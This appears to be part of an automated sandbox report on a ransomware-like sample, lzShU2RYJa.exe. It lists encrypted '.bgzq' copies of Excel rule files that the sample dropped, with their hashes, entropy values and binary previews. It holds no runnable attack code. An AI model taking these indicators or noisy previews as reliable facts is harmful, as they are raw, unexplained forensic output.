Preview:	<?xmlQ.FB...2..I...$W.<z..l...b[...e..0.'..3S.;m..c....H.E.. .x...K..n~U...%[_;v.\.S.n.mj.@6j.H..U..w.b.).M<.98K......}.-.f.w....#O'....>.0.....rB.P[....(.....X&.;.{......dk#8zWp8Nm.....K.i<.")8&.p.#.N.(jm.5..9.d..p..r......\| ...".$"\..E...n(...D.0....{..%5C,.c.R.E^.[i.....\.&%Ib....y.n...T.cD....4%.cv....T....m$...).Te.......^.@}.....r...~.......Y.5...8.\.[6.5....M..s...u$....P..BSh./..%....v.D.-...B.\|..j.K.......e-a.lX..).\.W...."^..x,..q.P..D.0XKu.T.T\\|.....)8.l..J......y........K!c...5W.i.t,.v...r{..h%..s'..h3..dk.M.@+.2n..b.v.J...%.z.q_..............43e...t...."....s.Dg..*...z.81.+.9...(.P.Q+..a...q.V`..O\|4Pt...b...l$....S..(T..F.5Q.]..C-............:g..[..i.cA..{+.......^4K.-..p..3P.....6Hc.,7.h...I'...X.\<T...H..zc..^A..v].Gr.n3..1.....\|..q..)6.......`...O.>....k.s.Sl...X....?I.)@.DI0.._...h...;.V`v+.......k}.LK..h......5...K..gD.s.o.A...4..l.l.....^f... -..!..cD..>w..AB....g.Z...2..&..gE.#17u.k..+.....WlM..& ..... 0,.D_..D.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.71212285835652
Encrypted:	false
SSDEEP:	12:svE2ifNXuaQdAOietomprqnFG99bVMZ4wGExay3cVXNFOyVjAqAY0AIXpqgQBR52:12CNdIrie0aC2k2NFJ2QIUdBRRJRRbYl
MD5:	864AB30F28A9F4EBA75DA480254ABA72
SHA1:	25614A617E9478699DDC7754A17234CD4AAFCA43
SHA-256:	5B436D6D3CCF8A3D689B87C9555FEFB1F688147CA20B1D7369886E8E7E97822B
SHA-512:	D1A40DB3228C53C0461E12705A7BD417C169A07B1EAC70563ECF44A89DEE5DDAB4BF0D990454D9334F6435790002166D502172A5F94B88F00465C23B07F64563
Malicious:	false
Preview:	<?xmlR.n....l......:.{....P.4..f...:M...:..$@.\|....3qd....$.........}:..Gv..q........Z.0.%........=._.U....8.).\.$.... .yi..' '....F.!..I......]1.%.e\|8.c2L.j..k....AG,.q...xG k>.Vl..m..3.l0I.;.b.D.w{.P.j.....Is.87....Dz....7WzY...Oa`...l[.i.<..!"...l.}.g4.k.P^.l.5...eo........r.@.x.O.d.A.@2....hY............Y._.H>#)...AC5W..............j..+..R..%.?[..B.vw....P(.A6K..9<... .^....vYw.o.Ft.pW..r.x..,.Q....F...j.. .c...._.........3...N{.==8..`....E....v..j._.F.,e.#....r]....a.U...b..{42.t.R. ..~....\...C.FJ.^..Dn.s..;...qYl...{v...s.x..m.5......XHa.t..O..../ne....SpoZw...G.......-cn8..=:.p.......Q....D......BW..D......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7744125760021765
Encrypted:	false
SSDEEP:	12:m2Ga2AX10LhX5uFqgjcW0wjh33mDKISpWiwPfabVV/G2To4OVtuLqX1DmoeujVcq:n0Y/p0w9GKRWiAabVDOHuLQ1i7MVbD
MD5:	BB4DEF64A59B020981C0AFD5FFC218B2
SHA1:	DE2C1FED855DAD19634DE899B6F11BC05F82FC87
SHA-256:	5CF08AD00EC2D2BF52D0AEF32F1536E388A82F066E863429918FE451F5A949EF
SHA-512:	F9CFE2E3821F68B110C67FE265177C4921BB4EAD2A5036EB36F552FEBA905B7633FE2978D106C84D927D274BAF77AF68E82E2403189D0F2D04EBE772C4A5D36B
Malicious:	false
Preview:	<?xml:_....E~:...+.C...]...\|~..0..Z.=T.r....%Bn ...%c.D... b.K9-7.q.h.s..L..w..pj...R).J.....yC\|..Q2.....A..@h..m]7.o..S.`.c~.^\|.>_...&..5....#.,.C.._.j.!H1.8...W/.._..-.L..n...b...cLK.g.A. .r.......4.R.....R...S...Y. ..&.tl.......@. X....1.....>..$....<e.....]...._Q.Cu.8..6...A}v..^.Z....k....~.{..$...^....H.0....JQ..l.,v..g.\.../.$.q.aX.Z.).`...s..oYA... .X,..`.....g#/W{..6.......W...A... ..'....yP0.....-C......k.g..W3kS..\......fMc....1...yk...f1.q....s..'h..ew.X.oK...&n\|!Y..%d......1.aI....(.xd...N;..e..R..\|Z.Y\...L..fAP...-.D....#".Fx.L.....k.5.+.G..Y.z.]So..............C.....^..h...c.#8...sD.O.KH+......<w...Z.b.H..Q...l....[S.N.!jVE./`{\|.W..ur...D...'zT._QY....`..'....^Nn.i.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6757693315641395
Encrypted:	false
SSDEEP:	12:vkjk2ynK88yPqJJCV33P6BNa9HoJUZ3hRQD9n8/EbR5IX5Djw8/N8NntCXjVciik:vkjk2yKJPYxf6BE9HkU5hh5X5DvV8dto
MD5:	A30CFDB657CA632892DB44E403B3F9C9
SHA1:	2FF213ED51A80AC8211578C46AD21546D535825D
SHA-256:	1C00318355B9233E35390FF1A9ED3BFD5B33B127CE500CBA8990BEC1611F81F7
SHA-512:	ED8AA62B9522BD09BD10A8D579DEE32831F823E04300E55CE61059B08D32FAC75E5D2DA4EF180F560F96682D937F46DC116F11A1EA76C5B365BE82180BF4521B
Malicious:	false
Preview:	<?xml.......?..a.P.c?..X..d.RrCq.I..Td.H=Itt....[.".D..,xi.@.nw.E..`oK....\,^...9s.............N....n3h.A!...!m..m....#.u....,.%.P.~z.....Zf...F+.tE.2y.F.w.8/G8.2..t.(..f......=...].1.~#1>.g(V(K..P..Y.U./.y..cp2..,t....C....zU.W...2,F.....U.....S...Dj..#.=94..7..6.$G.....%..~..z$..sx3.f.8..?.5o...0.W.....Q...N..%......j.W..2`j11....^......Q...j..U..Z..}....'.f.x.~o[../..)..!.ezt..o..{.BxTM.M......\|.L.A..2.H?...w1..N..........=V.J.C.#Q.jH.I...Ve..I$a......VcT..Q.N.6........}0.m..=.K...>...]wq..u....M .Q4{.9Y.o.T}..^.B..}.T.....y...>.R>._.#M..x.....nh5.$oG.....&.D.*D.vM.{7~........Kz..R....-.../T.,.G.&.....u@J/..p..6.......gK.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.75480743531059
Encrypted:	false
SSDEEP:	24:Ck2ck7FJ6uq78YawUukNWFAY8KagU2Pp6jRAVbD:47FJ6B8YYuxFZagU2OAFD
MD5:	0912AD25E7C4DF59FACC1AF465F4AD87
SHA1:	DDC22E3AEE71B29BCCCAE47391649CFAC8F22486
SHA-256:	3BCCEFFDC5A6EA6D9E3A5F417EFC93F0E88A5B0004076D35E772AD7CA35003BF
SHA-512:	7B06F759121C224537A27DE17AFB5E39DA8DED33B18D6F19A86B13B7A8FDC0E5BDAB12821C1F6A66AF092918C604513E97415B3EA51D60B1D36ECCC1D9C326B4
Malicious:	false
Preview:	<?xml..}.3'.L.5s....Ea:E.....L.3...?......3^kd.W.>..i/S9..;..u.Lb.].\..{O3.P.q..Ec.Ehc..>/...J.xp..u}.r.d.^.acr....T.'.Uy.ZA.._..j...P....,]N.{...0..>$>......9.....k.>.h.....#.`..?.#..d)./..SD.bHZT..&Z..dE.j....\|.1S ..<?..i.9..'X=.V...... .kG.7....'1!,..~.PD.T.e...*.n..z...L..b...Iy..HU..".._...........[RC...V.rV...AHg2..jF.W`...C..#0.B:..Ux0....W..)]....)7..F..T"....q<X4..@..._.....$..o........Gk."Y.~......j...Q.4`J..oE.o.)...4.....a...YC.B...U.g...x.-...T..a....+.A(.7......8..\|........9...^.=+<..r..R..9..i.......9s..4%.r...'`w..<..^.E.}...,.`.:.U...I.g.6."H.g_o..^.....s.....jA.b_.^l........%....}4.$T.Y....H..>o.9.p..]p'T...<yV.J..q....5d..Nz...#.U..........u..........}itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.792502752098114
Encrypted:	false
SSDEEP:	12:0PYMdmwSZIqly/s10XAgqGQbfMNmfKSu1x4smhp6a8j1ECRVE73xjVcii9a:ogGsrKmSSc2lEJ1rjE73ZVbD
MD5:	315DD948FAA756137DC5150C2E6F8BF5
SHA1:	A04BA2387BEEF25DEAF558A48F3F376B43C5E4C2
SHA-256:	CD13F305A11C5D841F86C32A046CEF025CD88635CBC784BCDDB2E14DF9FE34EB
SHA-512:	BDB5C4F29654B6663F93400D7792370EB533EEACB447F8E00212B957359CA84EACE6001762732D76F45B38B97C79B88ACC39D87041A1ABD4F2848F4D9E3878F6
Malicious:	false
Preview:	<?xml....'..O.x.ld.\l.;."..i]R....Rw...q..:.i..M3...r6.g.:...Y.l$........?Hk.{.m.I..t...N5.,>.Jy.....RJ.!........I=.8.i.K..... ..\~....z..ibRM.......S%p.Z............-kG.4..i....sm.K...#.W..z...N...q.......n.z.O..B....1X8..z.h....SQ.k....v.=.....91...O.....9H.[..t......$.a...2..L~.<..[].T.M%........D.e.+q#3.6...>. i..g.N........y7_^9.....=.Tzx#..=r?..w......}...P..<...!}......n..};.4.}...5R\|.Z..,D...n4.~5..4.....I.u...c....{..+......U{...,..<9a..v\'...Z.3.G.....K.P.....L?...PDG.i.+.z.W.k.....V.....\|.[.+<....W......tlg'.g....H......}..?.;.....5.-......#(.gn...e.....Sh../&O.....E3zw......LQ._.a..$%.Z/D~..K.....'VX..5......c.Y.4...^Z.y.p..3N..^...{...e.....m.<.aU....e..y.j..Y.........j......V.M.....7.ag4m.5W\|.g .!Z..k....[....8.a..A".F7.C.......f...?....8aw.S.e.......).x.o%8.B.....De.<5.=B.'1O`V..\|zQQ,.....=!.-.+.....Z...0.;']L..Z.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.733886467273058
Encrypted:	false
SSDEEP:	24:qRF9RxYlK81oZf5fi3+WVzfgPsnFFW1nIlc6fuKVbD:uF9RxYlhydLWVzYmfUL6WKFD
MD5:	04EBC75C4688B411B8F62386F2BAC2B1
SHA1:	9DFCAC3F7E9157B6C1D9F5F53F925EF303101236
SHA-256:	4F5EE5D919EDBA4A1DBCDB8655B758E0F153483A9547BAFE00B67E6E7EF8ED3E
SHA-512:	AE6A159DB0DABE7620EF9309657A49C252FA7D6BEDF8595D663808ACEBC937A1EF83A09AF3A1190D7593E50B2F6AC21E7DABD8462578ABB63E16433102FDD04B
Malicious:	false
Preview:	<?xml..d[k.J.'.1.^.9;.R.0....Y.wE'*.......bW.."$..]!+...0.2.0...^?[....PJ....m............UJ.y.....":..R.....\|w).K....d...Z...} ..f8./!...N.....ar.].u....:.F,0....(.e4Z..q8c.8S....'..v......X.iY/.h..\.&...u_`G.c8.S[.W.r.z._..HHYX.N..\i.H.S.a...ruz...r`R3?72\|....<.&...y..0..e...n^l.....Y.c....,..n....~.F\|.Y..P4.tHSS'2R.Y.'k7j.`.S......w;\5....<T.....}.%. fq....T..............=...b.qci....>..B...#6.3.B..A..K....h.fo. 0..\|q...6^...z...s.HR.,.\ah.."U..PKvh\|..$....\.\|B.\.[...com.........2L...fC1]..rwr...U.u$A`&.]+...M......"w.SR....fC.7.........`...'.y.abL.".........y..m....U..Y..O&..3...C..-...d5RUf.0A..?.$.#...N")..;....&..2..:..;r=.-..v^l.......e...8Y.7W..e..P{...:.V.t...V..HRD.Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.724652209519914
Encrypted:	false
SSDEEP:	12:v4eJCdwUSYBGhLHjzfC4yusYwiwnYNcY75sjnTdIbjVcii9a:FJCdwUSYwDTyjhiSu2DTSPVbD
MD5:	95645911F5F8A55CCEE62C0F15DF8AA8
SHA1:	2FE7DCBFB9E21F45C32AC45A90FC841F5EC8A94A
SHA-256:	9BA413FE9DE287B4C7922BB0ED2DE8E0F851D71BFCC226C7E61D6C6ADB93A54C
SHA-512:	46C5CEF130DC078C15B507BA4647D9F8CB2B31DAECC7D8EF0A59582828FC3641509A91BC990A903B3EEF2EB0DF4DFC238F5AA8E985E90D2C951C5B8CB74BFAC0
Malicious:	false
Preview:	<?xml'.C..(..;u.........T...UC.1,f7.C..h.,.]I$_.g..........]T.o.y/p..k.C.9+f<t.....l....^>....o........lX..V..Tw..h1...+.....4m..w..E+.A..[........`.z.C\..J.@.Hl..T.2.....q..tz..#.v...A..HJV~...g..G.D...."(.C...EWO...?c#.....GMh......$......Y...F.](.SW..r..P...V..c..9.....?.grtJ......o......k..\|......k...$..'/In..T..U.`(..7.......:......py.. L...N.".L.K.\.5t.T ....V......wiw..h......".G.....\|Ni....]..-:..=.<.ty.?.....H.....9H.........S...&..\.v...Q......>........*...\|..+ ...ZZV2..V.i?..X./...Z/....Hs....3...,,.....D..V.R.U....K.6F.X.......@7.........z........69......."......!!KGJ+V...D.OK....Vt.5..l..L^s....F..' .v..a...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.741862948682724
Encrypted:	false
SSDEEP:	12:KVOZOfmY8kI7THGH73Htyl+h7mzZhT3LwL0TWI0nANVTUhLGC1JgEWEXi7RjVciD:QmWEBT673tyeyzTTdWI0nAXwRiFVbD
MD5:	9D809BAEAA93090101DB884B86878E8C
SHA1:	1506CED32542328EED6B22F138DE9CC6C8A76F04
SHA-256:	897054A416E9D5F7116770AADA244678E38A13668C167CC145A6EBE5D4A2B037
SHA-512:	18422739FC2F6FEF71B84C5BBFC7BF599E54366FB13F2E7A04B45E8A133A8DC53B7288DA6AB7001F147D2C4C1FAE2ED52464CA086E1B42B52B01D202E6633387
Malicious:	false
Preview:	<?xml...5..6Bo...k..:.Q.E.5...{....bu...=J._-...>.......u..,....b..:L.....d!>..]...5...#w.z...6..._i.........-..../..../.6X...........Y...^...lA.a..^..i....v...y......x.UKA(.$..............E.".B`...UX}1....<,.$D.h.j.F...?..E~.\.,.\|E...7....?...I..E..8...)....oe...Fz..=S%...K1.Y0>......w....I.....`.6.q.O...&..(Z!8$.fw.i4;.._.V...Y......D....;7'.hx.S&..<;.iF..>>?....{....t.e...#.).."-.k4j..T.F...J[]8....l.p..-C.>....kH.[$.z..J...g.........[u....'.+T8..?M.Y..V....:{..^..o.?x..L/....7'...3.V.....,U...O...8......D..O.+...t.......p... ...5l.....b..(2.!...X.t..'..sXn.....!.]..e....V.o..0..j.~.....dD.^t..L#..p..2..q%..kq.....n..K.Z...;..*..q..1u.U...Z..E.Q.v..pi~...H.Xa...s................U.lYitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.716626020386446
Encrypted:	false
SSDEEP:	12:Kcn0+ItXFwyjBh2xDohSczhFAtBqtq9yoMzCTtzrA1FZpZeAlsF5rLzb03qpDAj9:10VwMDH1Suqrd9kZpZ/lWrLzb0EDiVbD
MD5:	A4A3A041033A6158F4AE452082C58250
SHA1:	91CFFA306D91C5344672AF122077E63B4F060F4C
SHA-256:	0CE97DDAD24A39A5C40B03EC4DD412955F1524C236AA0FE8074BF2111DF831F7
SHA-512:	E51158A94621C6002B6E01126353BC8F599486F0AD7018CA77F391F8D62B18A685F858F921DDDDF1B3CAC182170DFBC5E32E42BE1F283ADBA4F5958916A79C5C
Malicious:	false
Preview:	<?xmln......_h...>....G.....]....h..i.....Xd...d...lc.A......./j.........R....4$..pI.....l..d.Rc...U.M...N..'.v93.,...z.^...+....0PyU......q.(Qm...Tc.z......A.....W.kZ.t....# ...g.....4N.JL..61`Q9.T.U......n.\.:Y.'......%...T..GB..........2q..r.....Rp.d...\.,.R...$..l../....6^...../.c..~.........H.....kR..t..,..w..b`. .P.s....8.'.a.%.......~b..C.g.-.0H/.c.r.Z...JR".}awSP.v..]#$.z T.5...d.V.../...6...ji.........~\...d.,0..J........C.'..g.PT....y1.q....d.........j^@......J.Y.;L....K.w}K+..`Z..H.-_D....................Ml.J....s#X...Sj.(%.M.^..Ke..\|..U.....p?x....+s...~..k..3G6..}..5.R...9.j...@...v./?.Z.#Z......pvN..FqTXl..P.W:itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.772645144731054
Encrypted:	false
SSDEEP:	12:vGJeFKrq2nqpCvY2/Zlq5PMXtZq25iO1Uu3INkpEdL7769GGen5cnAXjVcii9a:vOeKhecY2/Zc6Xt8GiO1QNlh3Gj4hVbD
MD5:	38F251341A74B2C3A82B7BAE081A0CA2
SHA1:	828E99DA41F685B35D30E9A2779EACB02EECB40D
SHA-256:	D1F348AFBECF4CB2A82467A73DCFA6D29D96FD4308719FFE03733A12B744E954
SHA-512:	4162BB092D254246DBBB74E1E0DACEE3505419019CB239FDF3844D3D70A9D903331DD8999FAD30F20B5A43064FF6126748D4F36E92D3131100895660390CFEE4
Malicious:	false
Preview:	<?xml...r....T3].%n..)...M.kV.u.W....+.\.......H>T....D5..........&z4.&..].-v.....qIn.c.r....../.j.p..8...J...e)[.).l4....hz..6.:....\..Y(T7.~.0.m..U......1.{.6`,..eBJwt6.U.^W..w.J.\|..M.="3.}.$..X..K....{...g+..o.....5#.........-.%2...>.}.....J...r.<..x.`...i.H..:X......:. .RkC..X}.@...l2.0!.]y.'.1U6.:.x.0.N..wF........jZ..m;....c..I....Fu.\...{.R..-......Z....'z.r.p.}`.<.....g5...+;..'......u....F.A...5.<.....f.E..j..m$$Wc..(.3.a......s]...Vo......-f.....}.....A.$.d...&...4.pu.j.J(}...XL..6vt.G...b.4..e..`......KP.O.f.....'............E?.{.}.\|..8..5.t.t.F..{/w..D..>..l..9...TO.....S...H!JPd..V0.^.uRB..i.."..9....;%...C..>.. .....x.B1q..=.)..6..4p.BWXY.."...m]}.):p..m.$...@-,81...N;v.Bitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.7215187778865015
Encrypted:	false
SSDEEP:	12:54NzOCPFSFC9+rsMhiRigetryytlnJ7mIcREgiG2W1p70+1Jm0UYEnvMFydMAjVX:mNTSO+4MhiHewytL7D4E+V1+8rU8Fydj
MD5:	65B164DBBFB9101B5DA4AC9ED2926ECF
SHA1:	53092C1AD30474DD99AB13DA8D67C3C180761D1C
SHA-256:	F634C0635ECDB7403681AC339E7FE70678B53BA2D086F08E79D592D03008BC9A
SHA-512:	2C7F96419B582571545C6E869136CF6303A3D33C86CC0B7FA2D93D7BAC392C868ADA6511FA5CD1A3072BED54C3941E2E28C181125452D8C16B81EC121B489AB7
Malicious:	false
Preview:	<?xml..9...#yQ..:..o.>..'.=.3....BOk.............n....Y&U...../f.f..x..#...Gc..V.qi.";.G..wia.....6.(_.- .$..'oI..q$@..m.).]....fzn.OR{.ew_.F..r.tV$?.....9P;...y.....{]t]..LF.T.V.j.S.2.s.a....tX... ..~K...#.s.. Vd.#.....7..oY-$G..}..q8..\....K._.4x...4.D...=K..R.I;..L.q......K...Y.]...BJ.,.............y.4...DC.M.."mC..D::Q .`.PfL..O.y...CI....K........-....O..5..&._..{..[.`.]..z../....r\|sX..Q..a4t..xq#.........j.>..^2\|...K.3!...}>=...h.Rt^...VW:.......1....y/....V.......b.$b.Aq......![B?./...fy9x.}i6.rvZ...9zd ..H.E......P2T.S..).TJ3.D,.of.:L........N(.n..L.......8..8'j.>:Ck.4.:.......r5.....U*..........{.j..p.....6.$..R\.bc...%ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.755654684545716
Encrypted:	false
SSDEEP:	12:yjPzheIdadXwvgsZFBWh15b6XBG8pXpmwKErAkqbj4PFT9qDpFyYaTko9EBupekR:kzheIo+IMw1QG8JKEr5qDDp5arpZVbD
MD5:	8FDCD050B5C80645B8CEA2DDD378A806
SHA1:	593CDAF068725757DC7891BEA5FDBE338388898D
SHA-256:	C780726CAA7AAFEBC27BBFE37A555A2DAAE244B295C98EB7FA3175A7FD38EAF3
SHA-512:	40E48C9D4A4F5484BE1F983F20C8EE69287348CD068C45A34C6DCC0CBD13C0A481A71395BB531ADAAA2B46D2A8E4FB7E917FE3259938DE5089E58EADBF47BDB7
Malicious:	false
Preview:	<?xml.....]....w..3.b..w.....}.....V[U.).6n.M....5.EU.@..n-GG..Ex(.IC.sg.}u.^.E...eL....0u..NZ6.Z....M....j.'...#..n.TP.@tz!U.IF..P.<r...V5M...$...+.}v...v.@..lJ....m.2..X...p.7.M.....#.+...S.skW.[..:9......\.7.s."VH...]A.-9V..q..y..O.(+...~.x,.s....#Q.tI...KDS](....<.....`.b.....7...w....Ed9E1..+.[...K.......@..=...zx...=.y......T.+...(...y0..&.c...#........h?.?.o^...d<cu.@p......4.(.aRl2......01..z......OF.vX...m...@.......&..u.]H......2.U..1Ig.....&...6.XN5R..}#....^....@N.....W,.D..f\.w..[X..O......t....M..#._..ft.....n.].)....S..<.Hh...p.h3.g..m..i$/.P....FY.s...#..%.X...T'..... .q...P.....F_.`...+\..LL..Au.au.).vR..6>[.sf.t..<.k.F....>..H....oX.@*6....h...j.....G).......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.736579452760583
Encrypted:	false
SSDEEP:	12:hTLmRazz+1sZlPZMjUHFbDyFTqQQwmqQG4jKvApdRmTctAMPJqy+fbxjVcii9a:ce616ZmUHJWs4QGEcDWJqy+fNVbD
MD5:	B2A4572DBDBDD927EBD08CFE86ECE577
SHA1:	835DFA5EFFB433B26F67162897E738FC94EA714D
SHA-256:	E31A210E8CC0992CF5922A8587159A2A4F9F5C43B0E3934B4C30D3B792E95447
SHA-512:	790C6C6B4120AA5FB352A60A3B5C8448E31947FBD4B797ADED01672757AD0292943F8EA576059E7B70603319E1292D0DCB27632DCD695A6831711691583886E2
Malicious:	false
Preview:	<?xml.y<6.'U.t_@W..`..o..UD....W......( d3..%T.v...1....`\|8,m.<O..~.B.H...^.Z.0..v........:......Z....A..A.y!..>..z.Z.......D...HZ...P.....e..A.....+.......W...d]J..c&L@..w.7.....#c.vK..fPX...f.w.D..#.D..2.h...+@5..D.d.+..]..n.!;..e[.>.e.)N.4E...n...47-ip .....%);#.P...I.o..S......@...D.......HSeWu..s.,.~.....F..[\|x._3.l..bQ.2$o..Q.j...,}.N.jp..S......c.Wp..B.f.......... n3.........h .....e....9.j." ..'k..".eT.?.\|...jY......7'.}O..@..S..Bw...KjuB.Q.......\|c'n....../.L..%..A.s....@..R.....f.kB]....A.q....st....M.US...6..DO.........w..%.l......P..Q.5.`k(....J.gq4.kV..[.......(.S$..k.Jg.gr,H'...3....4.8.....}...js....$._....`.K..Q<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.69444562763534
Encrypted:	false
SSDEEP:	12:TEMInIFfXhvcwXqxKlsLzsbHzWQcg8i2/rGF3KyOPowQjPWdBAMOJHqRPejVciik:TEMIny5QMmg8trGNKlQjudSVHVVbD
MD5:	E3FBE4714193971E776FCDFB45580006
SHA1:	E21992BD66B3CF5C338CF74FF82A4DD8A04E8897
SHA-256:	100DCA98226D594322CF093B89B73EEC276CED4A8AD9B47837EB627AF5343FD2
SHA-512:	AD4BA3532F6A53B8838D271A2C60EB682C42391B834E14AEA3A0784BE30816712C5EF42E72E1511C228DE10D4321047BB4563B67F46F831CC7FC2E448E850C11
Malicious:	false
Preview:	<?xml.bE...>..T....M@...9.$......0.na.B.4........3.]..M.b..NKji.....p.k.E$F..y...!Rq..'.L..(.'.....9E#..-tA...fPZ....f..\.*.....w..7J%#F.d.Sb..!7..r.QP...f.RP[-....C.@.X....So.G.OPV..u9e..w$G.!f.A...R..Qr...[^_t....C .YsW.g..sUsP.(..tq./.{`e.]b..I-.C.]...t.i.!...H.o.....z.c/.....v.2.Q..m...c..p.F;.y..i#;..u'.8..\|T...ITu...Ws..-D.R{@........t.<..H.`(..\|..T3..L[K.....C?........\|}.$np.W.?.l9LtB.~..4.{_vr....S4...........cO.@\..._...l. ....9S.7+..fh%.u..d\......'E.G...<.%<.M....uR..@."u6.5q....t\|/t..7..k.W..Z(.i...m.U.$f.f/1..j.]...z.&...V..N.R..[........+..w7q.;}uZ..Z_..A..+.^?a...x.G.m.]%..2\|.)..(..VqNK.4.=..F..$.[.w39...;._..=..q........T...0P..W/...V...z-H.F.H....n.p6.3MvL...,.g4#q."...}Eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.7349239727781
Encrypted:	false
SSDEEP:	24:cqofNh1cqBwdBhQqu+wV1JWrwe99GLvacVbD:3of1cVQlV1JeweH4vacFD
MD5:	41915F79BA8D34A35185A16DEDF337B3
SHA1:	555840C8150688E9E83136D61D968E938CEDA4CF
SHA-256:	A8BF41A2CFEA015C0B7ACAE2E6340A680F96907C7816861A5BAD377F2B9EFF05
SHA-512:	6CC17A983E7B6D4F8B0F0C0CA61DAD115A6255744ACE0AAB842A664186A0F8EB726C9CEBDCCDA75C5AFA1AFBCFE795CA012276759B7A592F34100A9D47596B46
Malicious:	false
